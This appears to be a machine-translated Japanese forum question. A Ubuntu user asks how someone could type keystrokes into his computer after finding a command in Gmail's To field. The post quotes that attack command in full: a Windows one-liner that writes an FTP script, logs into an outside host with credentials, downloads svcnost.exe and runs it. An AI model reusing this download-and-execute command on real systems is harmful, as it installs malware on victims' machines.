Linuxコンピューターがハッキングされたかどうかを識別する方法
自宅のPCは通常はオンになっていますが、モニターはオフになっています。今晩、仕事から帰ってきて、ハッキングの試みのように見えるものを見つけました:私のブラウザでは、Gmailは開いていました(それは私でした)が、TOフィールドで次のような作成モードでした: md / c echo open cCTeamFtp.yi.org 21 >> ik&echo user ccteam10 765824 >> ik&echo binary >> ik&echo get svcnost.exe >> ik&echo bye >> ik&ftp -n -v -s:ik&del ik &svcnost.exe&exit echoあなたが所有しました これはWindowsのコマンドラインコードのように見えmd、Gmailが作成モードであるという事実と組み合わされたコードの開始は、誰かがcmdコマンドを実行しようとしたことを明らかにしています。私はこのPCで実際にWindowsを実行していないのは幸運だったと思いますが、他にも実行できるものがあります。このようなことが私に起こったのはこれが初めてです。私はLinuxの第一人者ではありません。また、当時Firefox以外のプログラムを実行していませんでした。 私はこれを書いていないことを絶対に確信しており、他の誰も私のコンピュータに物理的にいませんでした。また、最近、Googleのパスワード(および他のすべてのパスワード)を次のようなものに変更したvMA8ogd7bvため、誰かがGoogleアカウントをハッキングしたとは思わない。 今何があったの?何年もマルウェアを実行しているおばあちゃんの古いWindowsマシンではなく、最近の新しいUbuntuのインストールでは、誰かが私のコンピューターにキーストロークを入力する方法を教えてください。 更新: いくつかのポイントと質問に対処しましょう。 私はオーストリアの田舎にいます。私のWLANルーターは、WPA2 / PSKと辞書にない中程度の強力なパスワードを実行します。総当たりで、ここから50メートル以内でなければなりません。ハッキングされた可能性は低いです。 私はUSB有線キーボードを使用しているので、誰もがハッキングする範囲内にいる可能性は非常に低いです。 当時はコンピューターを使用していませんでした。仕事中に家で遊んでいただけです。これは、モニターに取り付けられたネットトップPCなので、めったに電源をオフにしません。 マシンはわずか2か月で、Ubuntuのみを実行します。私は奇妙なソフトウェアを使用したり、奇妙なサイトにアクセスしたりしていません。主にStack Exchange、Gmail、および新聞です。ノーゲーム。Ubuntuは最新の状態を保つように設定されています。 実行中のVNCサービスを認識していません。確かにインストールも有効化もしていません。他のサーバーも起動していません。デフォルトでUbuntuで実行されているものがあるかどうかわかりませんか? GmailのアカウントアクティビティのすべてのIPアドレスを知っています。Googleは入り口ではなかったと確信しています。 Log File Viewerを見つけましたが、何を探すべきかわかりません。助けて? 私が本当に知りたいのは、そして本当に私を危険にさらしているのは、インターネット上の誰もが私のマシンでキーストロークをどのように生成できるのかということです。それについてすべてのtinfoil-hatでなくてもどうすればそれを防ぐことができますか?私はLinuxオタクではありません。私は20年以上もWindowsを台無しにしていて、飽き飽きしている父親です。そして、18年以上にわたってオンラインになっている間、私は個人的にハックの試みを見たことがないので、これは私にとって新しいことです。